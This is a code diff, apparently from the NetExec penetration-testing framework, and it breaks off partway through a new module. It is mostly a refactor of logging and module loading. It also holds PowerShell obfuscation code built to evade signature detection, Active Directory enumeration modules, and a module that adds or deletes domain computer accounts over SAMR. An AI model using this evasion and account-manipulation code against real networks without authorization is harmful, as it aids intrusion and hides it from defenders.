@@ -383,54 +399,21 @@ def invoke_obfuscation(script_string):
# but not a silver bullet
# These methods draw on common environment variable values and PowerShell Automatic Variable
# values/methods/members/properties/etc.
invocationOperator = choice([".", "&"]) + choice(["", " "])
invoke_expression_syntax.append(invocationOperator + "( $ShellId[1]+$ShellId[13]+'x')")
invoke_expression_syntax.append(invocationOperator + "( $PSHome[" + choice(["4", "21"]) + "]+$PSHOME[" + choice(["30", "34"]) + "]+'x')")
invoke_expression_syntax.append(invocationOperator + "( $env:Public[13]+$env:Public[5]+'x')")
invoke_expression_syntax.append(invocationOperator + "( $env:ComSpec[4," + choice(["15", "24", "26"]) + ",25]-Join'')")
invoke_expression_syntax.append(invocationOperator + "((" + choice(["Get-Variable", "GV", "Variable"]) + " '*mdr*').Name[3,11,2]-Join'')")
invoke_expression_syntax.append(invocationOperator + "( " + choice(["$VerbosePreference.ToString()", "([String]$VerbosePreference)"]) + "[1,3]+'x'-Join'')")
invocation_operator = choice([".", "&"]) + choice(["", " "])
invoke_expression_syntax.extend((invocation_operator + "( $ShellId[1]+$ShellId[13]+'x')", invocation_operator + "( $PSHome[" + choice(["4", "21"]) + "]+$PSHOME[" + choice(["30", "34"]) + "]+'x')", invocation_operator + "( $env:Public[13]+$env:Public[5]+'x')", invocation_operator + "( $env:ComSpec[4," + choice(["15", "24", "26"]) + ",25]-Join'')", invocation_operator + "((" + choice(["Get-Variable", "GV", "Variable"]) + " '*mdr*').Name[3,11,2]-Join'')", invocation_operator + "( " + choice(["$VerbosePreference.ToString()", "([String]$VerbosePreference)"]) + "[1,3]+'x'-Join'')"))
# Randomly choose from above invoke operation syntaxes.
invokeExpression = choice(invoke_expression_syntax)
invoke_expression = choice(invoke_expression_syntax)
# Randomize the case of selected invoke operation.
invokeExpression = "".join(choice([i.upper(), i.lower()]) for i in invokeExpression)
invoke_expression = "".join(choice([i.upper(), i.lower()]) for i in invoke_expression)
# Choose random Invoke-Expression/IEX syntax and ordering: IEX ($ScriptString) or ($ScriptString | IEX)
invokeOptions = [
choice(["", " "]) + invokeExpression + choice(["", " "]) + "(" + choice(["", " "]) + newScript + choice(["", " "]) + ")" + choice(["", " "]),
choice(["", " "]) + newScript + choice(["", " "]) + "|" + choice(["", " "]) + invokeExpression,
invoke_options = [
choice(["", " "]) + invoke_expression + choice(["", " "]) + "(" + choice(["", " "]) + new_script + choice(["", " "]) + ")" + choice(["", " "]),
choice(["", " "]) + new_script + choice(["", " "]) + "|" + choice(["", " "]) + invoke_expression,
]
obfuscated_payload = choice(invokeOptions)
"""
# Array to store all selected PowerShell execution flags.
powerShellFlags = []
noProfile = '-nop'
nonInteractive = '-noni'
windowStyle = '-w'
# Build the PowerShell execution flags by randomly selecting execution flags substrings and randomizing the order.
# This is to prevent Blue Team from placing false hope in simple signatures for common substrings of these execution flags.
commandlineOptions = []
commandlineOptions.append(noProfile[0:randrange(4, len(noProfile) + 1, 1)])
commandlineOptions.append(nonInteractive[0:randrange(5, len(nonInteractive) + 1, 1)])
# Randomly decide to write WindowStyle value with flag substring or integer value.
commandlineOptions.append(''.join(windowStyle[0:randrange(2, len(windowStyle) + 1, 1)] + choice([' '*1, ' '*2, ' '*3]) + choice(['1','h','hi','hid','hidd','hidde'])))
# Randomize the case of all command-line arguments.
for count, option in enumerate(commandlineOptions):
commandlineOptions[count] = ''.join(choice([i.upper(), i.lower()]) for i in option)
for count, option in enumerate(commandlineOptions):
commandlineOptions[count] = ''.join(option)
commandlineOptions = sample(commandlineOptions, len(commandlineOptions))
commandlineOptions = ''.join(i + choice([' '*1, ' '*2, ' '*3]) for i in commandlineOptions)
obfuscatedPayload = 'powershell.exe ' + commandlineOptions + newScript
"""
return obfuscated_payload
obfuscated_script = choice(invoke_options)
nxc_logger.debug(f"Script after obfuscation: {obfuscated_script}")
return obfuscated_script
+15 -39
View File
@@ -1,6 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import nxc
import importlib
import traceback
@@ -12,7 +9,7 @@ from os.path import join as path_join
from nxc.context import Context
from nxc.logger import NXCAdapter
from nxc.paths import nxc_PATH
from nxc.paths import NXC_PATH
class ModuleLoader:
@@ -22,43 +19,31 @@ class ModuleLoader:
self.logger = logger
def module_is_sane(self, module, module_path):
"""
Check if a module has the proper attributes
"""
"""Check if a module has the proper attributes"""
module_error = False
if not hasattr(module, "name"):
self.logger.fail(f"{module_path} missing the name variable")
module_error = True
elif hasattr(module, "name") and module.name != module_path.split("/")[-1].split("\\")[-1][:-3]:
self.logger.fail(f"{module_path} filename must match the module name {module.name}")
module_error = True
elif not hasattr(module, "description"):
self.logger.fail(f"{module_path} missing the description variable")
module_error = True
elif not hasattr(module, "supported_protocols"):
self.logger.fail(f"{module_path} missing the supported_protocols variable")
module_error = True
elif not hasattr(module, "opsec_safe"):
self.logger.fail(f"{module_path} missing the opsec_safe variable")
module_error = True
elif not hasattr(module, "multiple_hosts"):
self.logger.fail(f"{module_path} missing the multiple_hosts variable")
module_error = True
elif not hasattr(module, "options"):
self.logger.fail(f"{module_path} missing the options function")
module_error = True
elif not hasattr(module, "on_login") and not (module, "on_admin_login"):
self.logger.fail(f"{module_path} missing the on_login/on_admin_login function(s)")
module_error = True
# elif not hasattr(module, 'chain_support'):
# self.logger.fail('{} missing the chain_support variable'.format(module_path))
# module_error = True
if module_error:
return False
return True
return not module_error
def load_module(self, module_path):
"""
Load a module, initializing it and checking that it has the proper attributes
"""
"""Load a module, initializing it and checking that it has the proper attributes"""
try:
spec = importlib.util.spec_from_file_location("NXCModule", module_path)
module = spec.loader.load_module().NXCModule()
@@ -68,12 +53,9 @@ class ModuleLoader:
except Exception as e:
self.logger.fail(f"Failed loading module at {module_path}: {e}")
self.logger.debug(traceback.format_exc())
return None
def init_module(self, module_path):
"""
Initialize a module for execution
"""
"""Initialize a module for execution"""
module = None
module = self.load_module(module_path)
@@ -99,21 +81,18 @@ class ModuleLoader:
sys.exit(1)
def get_module_info(self, module_path):
"""
Get the path, description, and options from a module
"""
"""Get the path, description, and options from a module"""
try:
spec = importlib.util.spec_from_file_location("NXCModule", module_path)
module_spec = spec.loader.load_module().NXCModule
module = {
f"{module_spec.name.lower()}": {
f"{module_spec.name}": {
"path": module_path,
"description": module_spec.description,
"options": module_spec.options.__doc__,
"supported_protocols": module_spec.supported_protocols,
"opsec_safe": module_spec.opsec_safe,
"multiple_hosts": module_spec.multiple_hosts,
"requires_admin": bool(hasattr(module_spec, "on_admin_login") and callable(module_spec.on_admin_login)),
}
}
if self.module_is_sane(module_spec, module_path):
@@ -121,16 +100,13 @@ class ModuleLoader:
except Exception as e:
self.logger.fail(f"Failed loading module at {module_path}: {e}")
self.logger.debug(traceback.format_exc())
return None
def list_modules(self):
"""
List modules without initializing them
"""
"""List modules without initializing them"""
modules = {}
modules_paths = [
path_join(dirname(nxc.__file__), "modules"),
path_join(nxc_PATH, "modules"),
path_join(NXC_PATH, "modules"),
]
for path in modules_paths:
@@ -140,6 +116,6 @@ class ModuleLoader:
module_path = path_join(path, module)
module_data = self.get_module_info(module_path)
modules.update(module_data)
except:
pass
except Exception as e:
self.logger.debug(f"Error loading module {module}: {e}")
return modules
+17 -26
View File
@@ -1,17 +1,13 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from types import ModuleType
from importlib.machinery import SourceFileLoader
from os import listdir
from os.path import join as path_join
from os.path import dirname, exists, expanduser
from os.path import dirname, exists
import nxc
class ProtocolLoader:
def __init__(self):
self.nxc_path = expanduser("~/.nxc")
def load_protocol(self, protocol_path):
loader = SourceFileLoader("protocol", protocol_path)
protocol = ModuleType(loader.name)
@@ -20,27 +16,22 @@ class ProtocolLoader:
def get_protocols(self):
protocols = {}
protocol_paths = [
path_join(dirname(nxc.__file__), "protocols"),
path_join(self.nxc_path, "protocols"),
]
for path in protocol_paths:
for protocol in listdir(path):
if protocol[-3:] == ".py" and protocol[:-3] != "__init__":
protocol_path = path_join(path, protocol)
protocol_name = protocol[:-3]
proto_path = path_join(dirname(nxc.__file__), "protocols")
for protocol in listdir(proto_path):
if protocol[-3:] == ".py" and protocol[:-3] != "__init__":
protocol_path = path_join(proto_path, protocol)
protocol_name = protocol[:-3]
protocols[protocol_name] = {"path": protocol_path}
db_file_path = path_join(path, protocol_name, "database.py")
db_nav_path = path_join(path, protocol_name, "db_navigator.py")
protocol_args_path = path_join(path, protocol_name, "proto_args.py")
if exists(db_file_path):
protocols[protocol_name]["dbpath"] = db_file_path
if exists(db_nav_path):
protocols[protocol_name]["nvpath"] = db_nav_path
if exists(protocol_args_path):
protocols[protocol_name]["argspath"] = protocol_args_path
protocols[protocol_name] = {"path": protocol_path}
db_file_path = path_join(proto_path, protocol_name, "database.py")
db_nav_path = path_join(proto_path, protocol_name, "db_navigator.py")
protocol_args_path = path_join(proto_path, protocol_name, "proto_args.py")
if exists(db_file_path):
protocols[protocol_name]["dbpath"] = db_file_path
if exists(db_nav_path):
protocols[protocol_name]["nvpath"] = db_nav_path
if exists(protocol_args_path):
protocols[protocol_name]["argspath"] = protocol_args_path
return protocols
+118 -121
View File
@@ -1,179 +1,190 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import logging
from logging import LogRecord
from logging.handlers import RotatingFileHandler
import os.path
import sys
import re
from nxc.helpers.misc import called_from_cmd_args
from nxc.console import nxc_console
from nxc.paths import NXC_PATH
from termcolor import colored
from datetime import datetime
from rich.text import Text
from rich.logging import RichHandler
import functools
import inspect
import argparse
def parse_debug_args():
debug_parser = argparse.ArgumentParser(add_help=False)
debug_parser.add_argument("--debug", action="store_true")
debug_parser.add_argument("--verbose", action="store_true")
args, _ = debug_parser.parse_known_args()
return args
def setup_debug_logging():
debug_args = parse_debug_args()
root_logger = logging.getLogger("root")
if debug_args.verbose:
nxc_logger.logger.setLevel(logging.INFO)
root_logger.setLevel(logging.INFO)
elif debug_args.debug:
nxc_logger.logger.setLevel(logging.DEBUG)
root_logger.setLevel(logging.DEBUG)
else:
nxc_logger.logger.setLevel(logging.ERROR)
root_logger.setLevel(logging.ERROR)
def create_temp_logger(caller_frame, formatted_text, args, kwargs):
"""Create a temporary logger for emitting a log where we need to override the calling file & line number, since these are obfuscated"""
temp_logger = logging.getLogger("temp")
formatter = logging.Formatter("%(message)s", datefmt="[%X]")
handler = SmartDebugRichHandler(formatter=formatter)
handler.handle(LogRecord(temp_logger.name, logging.INFO, caller_frame.f_code.co_filename, caller_frame.f_lineno, formatted_text, args, None, caller_frame=caller_frame))
class SmartDebugRichHandler(RichHandler):
"""Custom logging handler for when we want to log normal messages to DEBUG and not double log"""
def __init__(self, formatter=None, *args, **kwargs):
super().__init__(*args, **kwargs)
if formatter is not None:
self.setFormatter(formatter)
def emit(self, record):
"""Overrides the emit method of the RichHandler class so we can set the proper pathname and lineno"""
if hasattr(record, "caller_frame"):
frame_info = inspect.getframeinfo(record.caller_frame)
record.pathname = frame_info.filename
record.lineno = frame_info.lineno
super().emit(record)
def no_debug(func):
"""Stops logging non-debug messages when we are in debug mode
It creates a temporary logger and logs the message to the console and file
This is so we don't get both normal output AND debugging output, AND so we get the proper log calling file & line number
"""
@functools.wraps(func)
def wrapper(self, msg, *args, **kwargs):
if self.logger.getEffectiveLevel() >= logging.INFO:
return func(self, msg, *args, **kwargs)
else:
formatted_text = Text.from_ansi(self.format(msg, *args, **kwargs)[0])
caller_frame = inspect.currentframe().f_back
create_temp_logger(caller_frame, formatted_text, args, kwargs)
self.log_console_to_file(formatted_text, *args, **kwargs)
return wrapper
class NXCAdapter(logging.LoggerAdapter):
def __init__(self, extra=None):
def __init__(self, extra=None, merge_extra=False):
logging.basicConfig(
format="%(message)s",
datefmt="[%X]",
handlers=[
RichHandler(
console=nxc_console,
rich_tracebacks=True,
tracebacks_show_locals=False,
)
],
handlers=[RichHandler(
console=nxc_console,
rich_tracebacks=True,
tracebacks_show_locals=False
)],
encoding="utf-8"
)
self.logger = logging.getLogger("nxc")
self.extra = extra
self.merge_extra = merge_extra
self.output_file = None
logging.getLogger("impacket").disabled = True
logging.getLogger("pypykatz").disabled = True
logging.getLogger("minidump").disabled = True
logging.getLogger("lsassy").disabled = True
#logging.getLogger("impacket").disabled = True
logging.getLogger("dploot").disabled = True
logging.getLogger("neo4j").setLevel(logging.ERROR)
def format(self, msg, *args, **kwargs):
"""
Format msg for output if needed
"""Format msg for output
This is used instead of process() since process() applies to _all_ messages, including debug calls
"""
if self.extra is None:
return f"{msg}", kwargs
if "module_name" in self.extra.keys():
if len(self.extra["module_name"]) > 8:
self.extra["module_name"] = self.extra["module_name"][:8] + "..."
if "module_name" in self.extra and len(self.extra["module_name"]) > 11:
self.extra["module_name"] = self.extra["module_name"][:8] + "..."
# If the logger is being called when hooking the 'options' module function
if len(self.extra) == 1 and ("module_name" in self.extra.keys()):
return (
f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<64} {msg}",
kwargs,
)
# If the logger is being called from nxcServer
if len(self.extra) == 2 and ("module_name" in self.extra.keys()) and ("host" in self.extra.keys()):
return (
f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<24} {self.extra['host']:<39} {msg}",
kwargs,
)
if len(self.extra) == 1 and ("module_name" in self.extra):
return (f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<64} {msg}", kwargs)
# If the logger is being called from a protocol
if "module_name" in self.extra.keys():
module_name = colored(self.extra["module_name"], "cyan", attrs=["bold"])
else:
module_name = colored(self.extra["protocol"], "blue", attrs=["bold"])
module_name = colored(self.extra["module_name"], "cyan", attrs=["bold"]) if "module_name" in self.extra else colored(self.extra["protocol"], "blue", attrs=["bold"])
return (
f"{module_name:<24} {self.extra['host']:<15} {self.extra['port']:<6} {self.extra['hostname'] if self.extra['hostname'] else 'NONE':<16} {msg}",
kwargs,
)
return (f"{module_name:<24} {self.extra['host']:<15} {self.extra['port']:<6} {self.extra['hostname'] if self.extra['hostname'] else 'NONE':<16} {msg}", kwargs)
@no_debug
def display(self, msg, *args, **kwargs):
"""
Display text to console, formatted for nxc
"""
try:
if "protocol" in self.extra.keys() and not called_from_cmd_args():
return
except AttributeError:
pass
"""Display text to console, formatted for nxc"""
msg, kwargs = self.format(f"{colored('[*]', 'blue', attrs=['bold'])} {msg}", kwargs)
text = Text.from_ansi(msg)
nxc_console.print(text, *args, **kwargs)
self.log_console_to_file(text, *args, **kwargs)
def success(self, msg, color='green', *args, **kwargs):
"""
Print some sort of success to the user
"""
try:
if "protocol" in self.extra.keys() and not called_from_cmd_args():
return
except AttributeError:
pass
@no_debug
def success(self, msg, color="green", *args, **kwargs):
"""Prints some sort of success to the user"""
msg, kwargs = self.format(f"{colored('[+]', color, attrs=['bold'])} {msg}", kwargs)
text = Text.from_ansi(msg)
nxc_console.print(text, *args, **kwargs)
self.log_console_to_file(text, *args, **kwargs)
@no_debug
def highlight(self, msg, *args, **kwargs):
"""
Prints a completely yellow highlighted message to the user
"""
try:
if "protocol" in self.extra.keys() and not called_from_cmd_args():
return
except AttributeError:
pass
"""Prints a completely yellow highlighted message to the user"""
msg, kwargs = self.format(f"{colored(msg, 'yellow', attrs=['bold'])}", kwargs)
text = Text.from_ansi(msg)
nxc_console.print(text, *args, **kwargs)
self.log_console_to_file(text, *args, **kwargs)
def fail(self, msg, color='red', *args, **kwargs):
"""
Prints a failure (may or may not be an error) - e.g. login creds didn't work
"""
try:
if "protocol" in self.extra.keys() and not called_from_cmd_args():
return
except AttributeError:
pass
@no_debug
def fail(self, msg, color="red", *args, **kwargs):
"""Prints a failure (may or may not be an error) - e.g. login creds didn't work"""
msg, kwargs = self.format(f"{colored('[-]', color, attrs=['bold'])} {msg}", kwargs)
text = Text.from_ansi(msg)
nxc_console.print(text, *args, **kwargs)
self.log_console_to_file(text, *args, **kwargs)
def log_console_to_file(self, text, *args, **kwargs):
"""
"""Log the console output to a file
If debug or info logging is not enabled, we still want display/success/fail logged to the file specified,
so we create a custom LogRecord and pass it to all the additional handlers (which will be all the file handlers
so we create a custom LogRecord and pass it to all the additional handlers (which will be all the file handlers)
"""
if self.logger.getEffectiveLevel() >= logging.INFO:
# will be 0 if it's just the console output, so only do this if we actually have file loggers
if len(self.logger.handlers):
try:
for handler in self.logger.handlers:
handler.handle(
LogRecord(
"nxc",
20,
"",
kwargs,
msg=text,
args=args,
exc_info=None,
)
)
except Exception as e:
self.logger.fail(f"Issue while trying to custom print handler: {e}")
else:
self.logger.info(text)
caller_frame = inspect.currentframe().f_back.f_back.f_back
if len(self.logger.handlers): # will be 0 if it's just the console output, so only do this if we actually have file loggers
try:
for handler in self.logger.handlers:
handler.handle(LogRecord("nxc", 20, pathname=caller_frame.f_code.co_filename, lineno=caller_frame.f_lineno, msg=text, args=args, exc_info=None))
except Exception as e:
self.logger.fail(f"Issue while trying to custom print handler: {e}")
def add_file_log(self, log_file=None):
file_formatter = TermEscapeCodeFormatter("%(asctime)s - %(levelname)s - %(message)s")
file_formatter = logging.Formatter("%(asctime)s | %(filename)s:%(lineno)s - %(levelname)s - %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
output_file = self.init_log_file() if log_file is None else log_file
file_creation = False
if not os.path.isfile(output_file):
open(output_file, "x")
open(output_file, "x") # noqa: SIM115
file_creation = True
file_handler = RotatingFileHandler(output_file, maxBytes=100000)
file_handler = RotatingFileHandler(output_file, maxBytes=100000, encoding="utf-8")
with file_handler._open() as f:
if file_creation:
f.write("[%s]> %s\n\n" % (datetime.now().strftime("%d-%m-%Y %H:%M:%S"), " ".join(sys.argv)))
f.write(f"[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}]> {' '.join(sys.argv)}\n\n")
else:
f.write("\n[%s]> %s\n\n" % (datetime.now().strftime("%d-%m-%Y %H:%M:%S"), " ".join(sys.argv)))
f.write(f"\n[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}]> {' '.join(sys.argv)}\n\n")
file_handler.setFormatter(file_formatter)
self.logger.addHandler(file_handler)
@@ -181,28 +192,14 @@ class NXCAdapter(logging.LoggerAdapter):
@staticmethod
def init_log_file():
newpath = os.path.expanduser("~/.nxc") + "/logs/" + datetime.now().strftime('%Y-%m-%d')
if not os.path.exists(newpath):
os.makedirs(newpath)
log_filename = os.path.join(
os.path.expanduser("~/.nxc"),
newpath = NXC_PATH + "/logs/" + datetime.now().strftime("%Y-%m-%d")
os.makedirs(newpath, exist_ok=True)
return os.path.join(
NXC_PATH,
"logs",
datetime.now().strftime('%Y-%m-%d'),
datetime.now().strftime("%Y-%m-%d"),
f"log_{datetime.now().strftime('%Y-%m-%d-%H-%M-%S')}.log",
)
return log_filename
class TermEscapeCodeFormatter(logging.Formatter):
"""A class to strip the escape codes for logging to files"""
def __init__(self, fmt=None, datefmt=None, style="%", validate=True):
super().__init__(fmt, datefmt, style, validate)
def format(self, record):
escape_re = re.compile(r"\x1b\[[0-9;]*m")
record.msg = re.sub(escape_re, "", str(record.msg))
return super().format(record)
# initialize the logger for all of nxc - this is imported everywhere
-46
View File
@@ -1,46 +0,0 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Credit to https://airbus-cyber-security.com/fr/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/
# Airbus CERT
# module by @mpgn_x64
from ipaddress import ip_address
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_NONE
from impacket.dcerpc.v5.dcomrt import IObjectExporter
class NXCModule:
name = "ioxidresolver"
description = "This module helps you to identify hosts that have additional active interfaces"
supported_protocols = ["smb", "wmi"]
opsec_safe = True
multiple_hosts = False
def options(self, context, module_options):
""" """
def on_login(self, context, connection):
authLevel = RPC_C_AUTHN_LEVEL_NONE
stringBinding = r"ncacn_ip_tcp:%s" % connection.host
rpctransport = transport.DCERPCTransportFactory(stringBinding)
portmap = rpctransport.get_dce_rpc()
portmap.set_auth_level(authLevel)
portmap.connect()
objExporter = IObjectExporter(portmap)
bindings = objExporter.ServerAlive2()
context.log.debug("[*] Retrieving network interface of " + connection.host)
# NetworkAddr = bindings[0]['aNetworkAddr']
for binding in bindings:
NetworkAddr = binding["aNetworkAddr"]
try:
ip_address(NetworkAddr[:-1])
context.log.highlight("Address: " + NetworkAddr)
except Exception as e:
context.log.debug(e)
+19 -26
View File
@@ -1,5 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import re
from impacket.ldap import ldap, ldapasn1
from impacket.ldap.ldap import LDAPSearchError
@@ -15,8 +13,6 @@ class NXCModule:
name = "adcs"
description = "Find PKI Enrollment Services in Active Directory and Certificate Templates Names"
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.context = context
@@ -29,8 +25,7 @@ class NXCModule:
SERVER PKI Enrollment Server to enumerate templates for. Default is None, use CN name
BASE_DN The base domain name for the LDAP query
"""
self.context = context
self.regex = re.compile("(https?://.+)")
self.regex = re.compile(r"(https?://.+)")
self.server = None
self.base_dn = None
@@ -40,23 +35,22 @@ class NXCModule:
self.base_dn = module_options["BASE_DN"]
def on_login(self, context, connection):
"""
On a successful LDAP login we perform a search for all PKI Enrollment Server or Certificate Templates Names.
"""
"""On a successful LDAP login we perform a search for all PKI Enrollment Server or Certificate Templates Names."""
self.context = context
if self.server is None:
search_filter = "(objectClass=pKIEnrollmentService)"
else:
search_filter = f"(distinguishedName=CN={self.server},CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,"
self.context.log.highlight("Using PKI CN: {}".format(self.server))
self.context.log.highlight(f"Using PKI CN: {self.server}")
context.log.display("Starting LDAP search with search filter '{}'".format(search_filter))
context.log.display(f"Starting LDAP search with search filter '{search_filter}'")
try:
sc = ldap.SimplePagedResultsControl()
base_dn_root = connection.ldapConnection._baseDN if self.base_dn is None else self.base_dn
base_dn_root = connection.ldap_connection._baseDN if self.base_dn is None else self.base_dn
if self.server is None:
resp = connection.ldapConnection.search(
connection.ldap_connection.search(
searchFilter=search_filter,
attributes=[],
sizeLimit=0,
@@ -65,7 +59,7 @@ class NXCModule:
searchBase="CN=Configuration," + base_dn_root,
)
else:
resp = connection.ldapConnection.search(
connection.ldap_connection.search(
searchFilter=search_filter + base_dn_root + ")",
attributes=["certificateTemplates"],
sizeLimit=0,
@@ -74,12 +68,13 @@ class NXCModule:
searchBase="CN=Configuration," + base_dn_root,
)
except LDAPSearchError as e:
context.log.fail("Obtained unexpected exception: {}".format(str(e)))
if "noSuchObject" in str(e):
context.log.fail("No ADCS infrastructure found.")
else:
context.log.fail(f"Obtained unexpected exception: {e}")
def process_servers(self, item):
"""
Function that is called to process the items obtain by the LDAP search when listing PKI Enrollment Servers.
"""
"""Function that is called to process the items obtain by the LDAP search when listing PKI Enrollment Servers."""
if not isinstance(item, ldapasn1.SearchResultEntry):
return
@@ -103,19 +98,17 @@ class NXCModule:
urls.append(match.group(1))
except Exception as e:
entry = host_name or "item"
self.context.log.fail("Skipping {}, cannot process LDAP entry due to error: '{}'".format(entry, str(e)))
self.context.log.fail(f"Skipping {entry}, cannot process LDAP entry due to error: '{e!s}'")
if host_name:
self.context.log.highlight("Found PKI Enrollment Server: {}".format(host_name))
self.context.log.highlight(f"Found PKI Enrollment Server: {host_name}")
if cn:
self.context.log.highlight("Found CN: {}".format(cn))
self.context.log.highlight(f"Found CN: {cn}")
for url in urls:
self.context.log.highlight("Found PKI Enrollment WebService: {}".format(url))
self.context.log.highlight(f"Found PKI Enrollment WebService: {url}")
def process_templates(self, item):
"""
Function that is called to process the items obtain by the LDAP search when listing Certificate Templates Names for a specific PKI Enrollment Server.
"""
"""Function that is called to process the items obtain by the LDAP search when listing Certificate Templates Names for a specific PKI Enrollment Server."""
if not isinstance(item, ldapasn1.SearchResultEntry):
return
@@ -134,4 +127,4 @@ class NXCModule:
if templates:
for t in templates:
self.context.log.highlight("Found Certificate Template: {}".format(t))
self.context.log.highlight(f"Found Certificate Template: {t}")
+300
View File
@@ -0,0 +1,300 @@
import ssl
import ldap3
import sys
from impacket.dcerpc.v5 import samr, epm, transport
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
class NXCModule:
"""
Module by CyberCelt: @Cyb3rC3lt
Initial module:
https://github.com/Cyb3rC3lt/CrackMapExec-Modules
Thanks to the guys at impacket for the original code
"""
name = "add-computer"
description = "Adds or deletes a domain computer"
supported_protocols = ["smb"]
def options(self, context, module_options):
"""
add-computer: Specify add-computer to call the module using smb
NAME: Specify the NAME option to name the Computer to be added
PASSWORD: Specify the PASSWORD option to supply a password for the Computer to be added
DELETE: Specify DELETE to remove a Computer
CHANGEPW: Specify CHANGEPW to modify a Computer password
Usage: nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" PASSWORD="Password1"
nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" DELETE=True
nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" PASSWORD="Password2" CHANGEPW=True
"""
self.__baseDN = None
self.__computerGroup = None
self.__method = "SAMR"
self.__noAdd = False
self.__delete = False
self.noLDAPRequired = False
if "DELETE" in module_options:
self.__delete = True
if "CHANGEPW" in module_options and ("NAME" not in module_options or "PASSWORD" not in module_options):
context.log.error("NAME and PASSWORD options are required!")
sys.exit(1)
elif "CHANGEPW" in module_options:
self.__noAdd = True
if "NAME" in module_options:
self.__computerName = module_options["NAME"]
if self.__computerName[-1] != "$":
self.__computerName += "$"
else:
context.log.error("NAME option is required!")
sys.exit(1)
if "PASSWORD" in module_options:
self.__computerPassword = module_options["PASSWORD"]
elif "PASSWORD" not in module_options and not self.__delete:
context.log.error("PASSWORD option is required!")
sys.exit(1)
def on_login(self, context, connection):
self.__domain = connection.domain
self.__domainNetbios = connection.domain
self.__kdcHost = connection.kdcHost
self.__username = connection.username
self.__password = connection.password
self.__host = connection.host
self.__port = context.smb_server_port
self.__aesKey = context.aesKey
self.__hashes = context.hash
self.__doKerberos = connection.kerberos
self.__nthash = ""
self.__lmhash = ""
if context.hash and ":" in context.hash[0]:
hashList = context.hash[0].split(":")
self.__nthash = hashList[-1]
self.__lmhash = hashList[0]
elif context.hash and ":" not in context.hash[0]:
self.__nthash = context.hash[0]
self.__lmhash = "00000000000000000000000000000000"
# First try to add via SAMR over SMB
self.do_samr_add(context)
# If SAMR fails now try over LDAPS
if not self.noLDAPRequired:
self.do_ldaps_add(connection, context)
def do_samr_add(self, context):
"""
Connects to a target server and performs various operations related to adding or deleting machine accounts.
Args:
----
context (object): The context object.
Returns:
-------
None
"""
string_binding = epm.hept_map(self.__host, samr.MSRPC_UUID_SAMR, protocol="ncacn_np")
string_binding = string_binding.replace(self.__host, self.__kdcHost) if self.__kdcHost is not None else string_binding
rpc_transport = transport.DCERPCTransportFactory(string_binding)
rpc_transport.setRemoteHost(self.__host)
if hasattr(rpc_transport, "set_credentials"):
# This method exists only for selected protocol sequences.
rpc_transport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey)
rpc_transport.set_kerberos(self.__doKerberos, self.__kdcHost)
dce = rpc_transport.get_dce_rpc()
if self.__doKerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce.connect()
dce.bind(samr.MSRPC_UUID_SAMR)
samr_connect_response = samr.hSamrConnect5(dce, f"\\\\{self.__kdcHost}\x00", samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN)
serv_handle = samr_connect_response["ServerHandle"]
samr_enum_response = samr.hSamrEnumerateDomainsInSamServer(dce, serv_handle)
domains = samr_enum_response["Buffer"]["Buffer"]
domains_without_builtin = [domain for domain in domains if domain["Name"].lower() != "builtin"]
if len(domains_without_builtin) > 1:
domain = list(filter(lambda x: x["Name"].lower() == self.__domainNetbios, domains))
if len(domain) != 1:
context.log.highlight("{}".format('This domain does not exist: "' + self.__domainNetbios + '"'))
context.log.highlight("Available domain(s):")
for domain in domains:
context.log.highlight(f" * {domain['Name']}")
raise Exception
else:
selected_domain = domain[0]["Name"]
else:
selected_domain = domains_without_builtin[0]["Name"]
samr_lookup_domain_response = samr.hSamrLookupDomainInSamServer(dce, serv_handle, selected_domain)
domain_sid = samr_lookup_domain_response["DomainId"]
context.log.debug(f"Opening domain {selected_domain}...")
samr_open_domain_response = samr.hSamrOpenDomain(dce, serv_handle, samr.DOMAIN_LOOKUP | samr.DOMAIN_CREATE_USER, domain_sid)
domain_handle = samr_open_domain_response["DomainHandle"]
if self.__noAdd or self.__delete:
try:
check_for_user = samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
except samr.DCERPCSessionError as e:
if e.error_code == 0xC0000073:
context.log.highlight(f"{self.__computerName} not found in domain {selected_domain}")
self.noLDAPRequired = True
context.log.exception(e)
user_rid = check_for_user["RelativeIds"]["Element"][0]
if self.__delete:
access = samr.DELETE
message = "delete"
else:
access = samr.USER_FORCE_PASSWORD_CHANGE
message = "set the password for"
try:
open_user = samr.hSamrOpenUser(dce, domain_handle, access, user_rid)
user_handle = open_user["UserHandle"]
except samr.DCERPCSessionError as e:
if e.error_code == 0xC0000022:
context.log.highlight(f"{self.__username + ' does not have the right to ' + message + ' ' + self.__computerName}")
self.noLDAPRequired = True
context.log.exception(e)
else:
if self.__computerName is not None:
try:
samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
self.noLDAPRequired = True
context.log.highlight("{}".format('Computer account already exists with the name: "' + self.__computerName + '"'))
except samr.DCERPCSessionError as e:
if e.error_code != 0xC0000073:
raise
else:
found_unused = False
while not found_unused:
self.__computerName = self.generateComputerName()
try:
samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
